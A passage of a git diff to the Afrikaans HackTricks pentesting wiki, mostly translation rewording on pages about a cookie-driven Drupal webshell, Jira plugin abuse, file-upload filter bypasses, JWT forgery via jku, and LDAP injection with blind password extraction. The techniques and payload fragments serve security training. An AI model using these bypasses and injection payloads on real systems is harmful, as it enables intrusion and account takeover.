+Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaai word, ons ons opdragte via `$_COOKIE` kan oordra en in die Webbediener logs, sal dit as 'n legitieme GET-versoek na 'n tekslêer verskyn.
Waarom noem ons ons Webshell LICENSE.txt?
@@ -255,7 +255,7 @@ Dan, benut ons weer die _Voeg Dokument_ (/media/add/document) funksie om 'n Webs
Die laaste deel bestaan uit interaksie met die Webshell.
-Soos in die volgende skermskoot getoon, as die koekie wat deur ons Webshell verwag word nie gedefinieer is nie, kry ons die daaropvolgende resultaat wanneer ons die lêer via 'n Webblaaier raadpleeg.
+Soos in die volgende skermskoot getoon, as die koekie wat deur ons Webshell verwag word nie gedefinieer is nie, kry ons die daaropvolgende resultaat wanneer ons die lêer via 'n webblaaier raadpleeg.
@@ -279,7 +279,7 @@ Leer & oefen GCP Hacking:
{% endhint %}
diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md
index ef27b416d..e6e05aeb3 100644
--- a/network-services-pentesting/pentesting-web/jira.md
+++ b/network-services-pentesting/pentesting-web/jira.md
@@ -15,7 +15,7 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
@@ -23,9 +23,9 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op
## Kontroleer Privileges
-In Jira, **privileges kan deur enige gebruiker nagegaan word**, geverifieer of nie, deur die eindpunte `/rest/api/2/mypermissions` of `/rest/api/3/mypermissions`. Hierdie eindpunte onthul die gebruiker se huidige privileges. 'n Noemenswaardige bekommernis ontstaan wanneer **nie-geverifieerde gebruikers privileges hou**, wat 'n **sekuriteitskwesie** aandui wat moontlik in aanmerking kan kom vir 'n **bounty**. Net so, **onverwagte privileges vir geverifieerde gebruikers** beklemtoon ook 'n **kwesie**.
+In Jira, **privileges kan deur enige gebruiker nagegaan word**, geverifieer of nie, deur die eindpunte `/rest/api/2/mypermissions` of `/rest/api/3/mypermissions`. Hierdie eindpunte onthul die gebruiker se huidige privileges. 'n Noemenswaardige bekommernis ontstaan wanneer **nie-geverifieerde gebruikers privileges hou**, wat 'n **veiligheidskwesbaarheid** aandui wat moontlik in aanmerking kan kom vir 'n **bounty**. Net so, **onverwagte privileges vir geverifieerde gebruikers** beklemtoon ook 'n **kwesbaarheid**.
-'n Belangrike **opdatering** is gemaak op **1 Februarie 2019**, wat vereis dat die 'mypermissions' eindpunt 'n **'permission' parameter** moet insluit. Hierdie vereiste is daarop gemik om **sekuriteit te verbeter** deur die privileges wat nagegaan word, spesifiek aan te dui: [kyk dit hier](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
+'n Belangrike **opdatering** is gemaak op **1 Februarie 2019**, wat vereis dat die 'mypermissions' eindpunt 'n **'permission' parameter** insluit. Hierdie vereiste is daarop gemik om **veiligheid te verbeter** deur die privileges wat nagegaan word, spesifiek aan te dui: [kyk dit hier](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@@ -123,13 +123,13 @@ Sodra 'n XSS gevind is, kan jy in [**hierdie github repo**](https://github.com/c
Hierdie is 'n paar van die aksies wat 'n kwaadwillige plugin kan uitvoer:
* **Plugins van Administrators wegsteek**: Dit is moontlik om die kwaadwillige plugin weg te steek deur 'n paar front-end javascript in te voeg.
-* **Exfiltrering van Aanhangsels en Bladsye**: Laat toe om toegang te verkry en al die data te exfiltreer.
-* **Steling van Sessie Tokens**: Voeg 'n eindpunt by wat die headers in die antwoord (met die koekie) sal weergee en 'n paar javascript wat dit sal kontak en die koekies sal lek.
-* **Opdrag Uitvoering**: Dit is natuurlik moontlik om 'n plugin te skep wat kode sal uitvoer.
+* **Exfiltrating Attachments and Pages**: Laat toe om toegang te verkry en al die data te exfiltreer.
+* **Stelen van Sessie Tokens**: Voeg 'n eindpunt by wat die headers in die antwoord (met die koekie) sal weergee en 'n paar javascript wat dit sal kontak en die koekies sal lek.
+* **Opdrag Uitvoering**: Natuurlik is dit moontlik om 'n plugin te skep wat kode sal uitvoer.
* **Reverse Shell**: Of 'n reverse shell kry.
* **DOM Proxying**: As die confluence binne 'n private netwerk is, sal dit moontlik wees om 'n verbinding deur die blaaier van 'n gebruiker met toegang daartoe te vestig en byvoorbeeld die bediener opdragte deur dit uit te voer.
-
+
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
@@ -141,9 +141,9 @@ Leer & oefen GCP Hacking:
-Ondersteun HackTricks
+Support HackTricks
-* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
+* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/file-upload/README.md b/pentesting-web/file-upload/README.md
index 05b22949b..c7d3cdeb4 100644
--- a/pentesting-web/file-upload/README.md
+++ b/pentesting-web/file-upload/README.md
@@ -15,9 +15,9 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is besig om aan te stel!** (_vloeiend in geskryf en gesproke Pools vereis_).
+As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is besig om aan te stel!** (_vloeiend in geskryf en gesproke Pools vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -36,7 +36,7 @@ Ander nuttige uitbreidings:
### Bypass file extensions checks
-1. As dit van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met 'n paar **hoofdletters**: _pHp, .pHP5, .PhAr ..._
+1. As hulle van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met 'n paar **hoofletters**: _pHp, .pHP5, .PhAr ..._
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding by te voeg (gebruik ook vorige uitbreidings):_
* _file.png.php_
* _file.png.Php5_
@@ -84,13 +84,13 @@ AAA<--SNIP 232 A-->AAA.php.png
1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Bypass **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** by te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
`exiftool -Comment="' >> img.png`
-* As **kompressie aan jou beeld** bygevoeg word, byvoorbeeld deur 'n paar standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php) te gebruik, sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+* As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur 'n paar standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php) te gebruik, sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om 'n teks in te voeg wat **kompressie sal oorleef**.
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
-* Die webblad kan ook die **beeld** **hergroott** deur byvoorbeeld die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+* Die webblad kan ook die **beeld** **hergroott**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om 'n teks in te voeg wat **kompressie sal oorleef**.
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
-* 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroott**, is om die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+* 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroting oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om 'n teks in te voeg wat **kompressie sal oorleef**.
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Ander Truuks om te kontroleer
@@ -125,7 +125,7 @@ As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **n
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
-Afstandsopdrag-uitvoering (RCE) kwesbaarhede kan in uWSGI-bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Afstandsopdrag-uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
+Remote Command Execution (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers benut 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers, en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitvoer toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
```ini
@@ -152,7 +152,7 @@ Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontle
## **wget File Upload/SSRF Trick**
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **aflaai** en jy kan die **URL** **aangee**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
-Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** sny die lêernames tot **236** karakters. Jy kan 'n lêer aflaai wat "A"\*232+".php"+".gif" genoem word, hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
+Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** sny die lêernames tot **236** karakters. Jy kan 'n lêer aflaai met die naam "A"\*232+".php"+".gif", hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -312,7 +312,7 @@ Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-i
## Polyglot Lêers
-Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
+Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat sowel as 'n GIF as 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan egter stilweg hierdie beperkings omseil.
@@ -329,7 +329,7 @@ Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
-
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md
index 18d0c9b31..f24770261 100644
--- a/pentesting-web/hacking-jwt-json-web-tokens.md
+++ b/pentesting-web/hacking-jwt-json-web-tokens.md
@@ -15,9 +15,9 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -44,26 +44,26 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
### Manipuleer data sonder om enigiets te verander
-Jy kan net die data manipuleer terwyl die handtekening dieselfde bly en kyk of die bediener die handtekening nagaan. Probeer om jou gebruikersnaam na "admin" te verander byvoorbeeld.
+Jy kan net die data manipuleer terwyl jy die handtekening soos dit is laat en kyk of die bediener die handtekening nagaan. Probeer om jou gebruikersnaam na "admin" te verander byvoorbeeld.
#### **Word die token nagegaan?**
Om te kyk of 'n JWT se handtekening geverifieer word:
-* 'n Foutboodskap dui op 'n aanhoudende verifikasie; sensitiewe besonderhede in uitgebreide foute moet hersien word.
+* 'n Foutboodskap dui op voortgaande verifikasie; sensitiewe besonderhede in uitgebreide foute moet hersien word.
* 'n Verandering in die teruggegee bladsy dui ook op verifikasie.
-* Geen verandering dui op geen verifikasie nie; dit is wanneer om te eksperimenteer met die manipulasie van payload-eise.
+* Geen verandering dui op geen verifikasie nie; dit is wanneer om te eksperimenteer met die manipulasie van payload claims.
### Oorsprong
-Dit is belangrik om te bepaal of die token bediener-kant of kliënt-kant gegenereer is deur die proxy se versoekgeskiedenis te ondersoek.
+Dit is belangrik om te bepaal of die token server-kant of kliënt-kant gegenereer is deur die proxy se versoekgeskiedenis te ondersoek.
-* Tokens wat eers van die kliëntkant gesien word, dui aan dat die sleutel moontlik aan kliënt-kant kode blootgestel mag wees, wat verdere ondersoek vereis.
-* Tokens wat bediener-kant oorspronklik is, dui op 'n veilige proses.
+* Tokens wat eerste van die kliëntkant gesien word, dui aan dat die sleutel moontlik aan kliënt-kant kode blootgestel mag wees, wat verdere ondersoek vereis.
+* Tokens wat server-kant oorspronklik is, dui op 'n veilige proses.
### Duur
-Kyk of die token langer as 24 uur hou... dalk verval dit nooit. As daar 'n "exp" veld is, kyk of die bediener dit korrek hanteer.
+Kyk of die token langer as 24h hou... dalk verval dit nooit. As daar 'n "exp" veld is, kyk of die bediener dit korrek hanteer.
### Brute-force HMAC geheim
@@ -146,9 +146,9 @@ This alteration forces the use of a known secret key, `ATTACKER`, for JWT signin
#### jku
jku staan vir **JWK Set URL**.\
-As die token 'n “**jku**” **Header** eis gebruik, dan **kyk na die verskafde URL**. Dit moet na 'n URL wys wat die JWKS-lêer bevat wat die Publieke Sleutel vir die verifikasie van die token hou. Manipuleer die token om die jku-waarde na 'n webdiens te wys waarvan jy die verkeer kan monitor.
+If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
-Eerstens moet jy 'n nuwe sertifikaat met nuwe private & publieke sleutels skep.
+First you need to create a new certificate with new private & public keys.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
@@ -225,7 +225,7 @@ const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
-Finally, met die publieke en private sleutel en die nuwe "n" en "e" waardes kan jy [jwt.io](https://jwt.io) gebruik om 'n nuwe geldige JWT te vervals met enige inligting.
+Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information.
### ES256: Onthulling van die private sleutel met dieselfde nonce
@@ -235,8 +235,8 @@ Hier is 'n voorbeeld: [ECDSA: Onthulling van die private sleutel, as dieselfde n
### JTI (JWT ID)
-Die JTI (JWT ID) eis bied 'n unieke identifiseerder vir 'n JWT Token. Dit kan gebruik word om te voorkom dat die token herhaal word.\
-Maar, stel jou 'n situasie voor waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. So as die agtergrond die ID op elke versoek verhoog, kan jy dit misbruik om 'n **versoek te herhaal** (wat vereis dat jy 10000 versoeke tussen elke suksesvolle herhaling stuur).
+Die JTI (JWT ID) eis bied 'n unieke identifiseerder vir 'n JWT-token. Dit kan gebruik word om te voorkom dat die token herhaal word.\
+Echter, stel jou 'n situasie voor waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. So as die agtergrond die ID op elke versoek verhoog, kan jy dit misbruik om 'n **versoek te herhaal** (wat vereis dat jy 10000 versoeke tussen elke suksesvolle herhaling stuur).
### JWT Geregistreerde eise
@@ -246,13 +246,13 @@ Maar, stel jou 'n situasie voor waar die maksimum lengte van die ID 4 is (0001-9
**Cross-service Relay Aanvalle**
-Daar is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT diens vir die generasie en bestuur van hul tokens. Voorvalle is aangeteken waar 'n token, gegenereer vir een kliënt deur die JWT diens, deur 'n ander kliënt van dieselfde JWT diens aanvaar is. As die uitreiking of vernuwing van 'n JWT via 'n derdeparty diens waargeneem word, moet die moontlikheid om 'n rekening op 'n ander kliënt van daardie diens aan te meld met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkregen token in 'n versoek aan die teiken te herhaal om te sien of dit aanvaar word.
+Daar is waargeneem dat sommige webtoepassings op 'n vertroude JWT-diens staatmaak vir die generasie en bestuur van hul tokens. Voorvalle is aangeteken waar 'n token, gegenereer vir een kliënt deur die JWT-diens, deur 'n ander kliënt van dieselfde JWT-diens aanvaar is. As die uitreiking of hernuwing van 'n JWT via 'n derdeparty-diens waargeneem word, moet die moontlikheid om 'n rekening op 'n ander kliënt van daardie diens aan te meld met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkregen token in 'n versoek aan die teiken te herhaal om te sien of dit aanvaar word.
-* 'n Kritieke probleem kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing benodig mag word as om aan te meld op 'n derdeparty toepassing, aangesien dit 'n wettige grys gebied kan betree.
+* 'n Kritieke probleem kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing benodig mag word as om aan te meld op 'n derdeparty-toepassing, aangesien dit 'n wettige grys gebied kan betree.
**Vervaldatum Kontrole van Tokens**
-Die token se vervaldatum word nagegaan met die "exp" Payload eis. Aangesien JWTs dikwels sonder sessie-inligting gebruik word, is versigtige hantering nodig. In baie gevalle kan die vang en herhaling van 'n ander gebruiker se JWT die vervalsing van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT herhalingsaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaldatum vir die token in te stel. Boonop is die implementering van relevante kontroles deur die toepassing om die verwerking van hierdie waarde en die verwerping van vervalde tokens te verseker, van kardinale belang. As die token 'n "exp" eis insluit en toets tydgrense dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaldatum te herhaal. Die inhoud van die token, insluitend tydstempel parsing en vervaldatum kontrole (tydstempel in UTC), kan gelees word met die jwt\_tool se -R vlag.
+Die token se vervaldatum word nagegaan met behulp van die "exp" Payload-eis. Aangesien JWTs dikwels sonder sessie-inligting gebruik word, is versigtige hantering nodig. In baie gevalle kan die vaslegging en herhaling van 'n ander gebruiker se JWT die vervalsing van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT herhalingsaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaldatum vir die token in te stel. Boonop is die implementering van relevante kontroles deur die toepassing om die verwerking van hierdie waarde en die verwerping van vervalde tokens te verseker, van kardinale belang. As die token 'n "exp" eis insluit en toets tydgrense toelaat, word dit aanbeveel om die token te stoor en dit na die vervaldatum te herhaal. Die inhoud van die token, insluitend tydstempel parsing en vervaldatum kontrole (tydstempel in UTC), kan gelees word met behulp van die jwt\_tool se -R vlag.
* 'n Sekuriteitsrisiko mag teenwoordig wees as die toepassing steeds die token valideer, aangesien dit mag impliseer dat die token nooit kan verval nie.
@@ -260,23 +260,23 @@ Die token se vervaldatum word nagegaan met die "exp" Payload eis. Aangesien JWTs
{% embed url="https://github.com/ticarpi/jwt_tool" %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
+If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
-Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Ondersteun HackTricks
+Support HackTricks
-* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
-* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md
index dcf2b430d..07e876ebb 100644
--- a/pentesting-web/ldap-injection.md
+++ b/pentesting-web/ldap-injection.md
@@ -17,9 +17,9 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -33,7 +33,7 @@ As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
-**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongemagtigde toegang of datamanipulasie.
+**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@@ -57,7 +57,7 @@ Byvoorbeeld:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
-Jy kan toegang tot die databasis verkry, en dit kan inligting van baie verskillende tipes bevat.
+Jy kan toegang tot die databasis verkry, en dit kan inligting van 'n verskeidenheid verskillende tipes bevat.
**OpenLDAP**: As 2 filters aankom, voer slegs die eerste een uit.\
**ADAM of Microsoft LDS**: Met 2 filters gooi hulle 'n fout.\
@@ -152,7 +152,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
```
#### Dump data
-Jy kan oor die ascii letters, syfers en simbole herhaal:
+Jy kan oor die ascii letters, syfers en simbole iterasie maak:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
@@ -167,7 +167,7 @@ Jy kan oor die ascii letters, syfers en simbole herhaal:
#### **Ontdek geldige LDAP-velde**
-LDAP-objekte **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **allemaal te brute-force om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) vind.
+LDAP-objekte **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **almal daarvan te brute-force om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) vind.
```python
#!/usr/bin/python3
import requests
@@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
-
+
As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md
index ef09d7f51..69653384e 100644
--- a/pentesting-web/sql-injection/postgresql-injection/README.md
+++ b/pentesting-web/sql-injection/postgresql-injection/README.md
@@ -15,9 +15,9 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -25,15 +25,15 @@ As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons
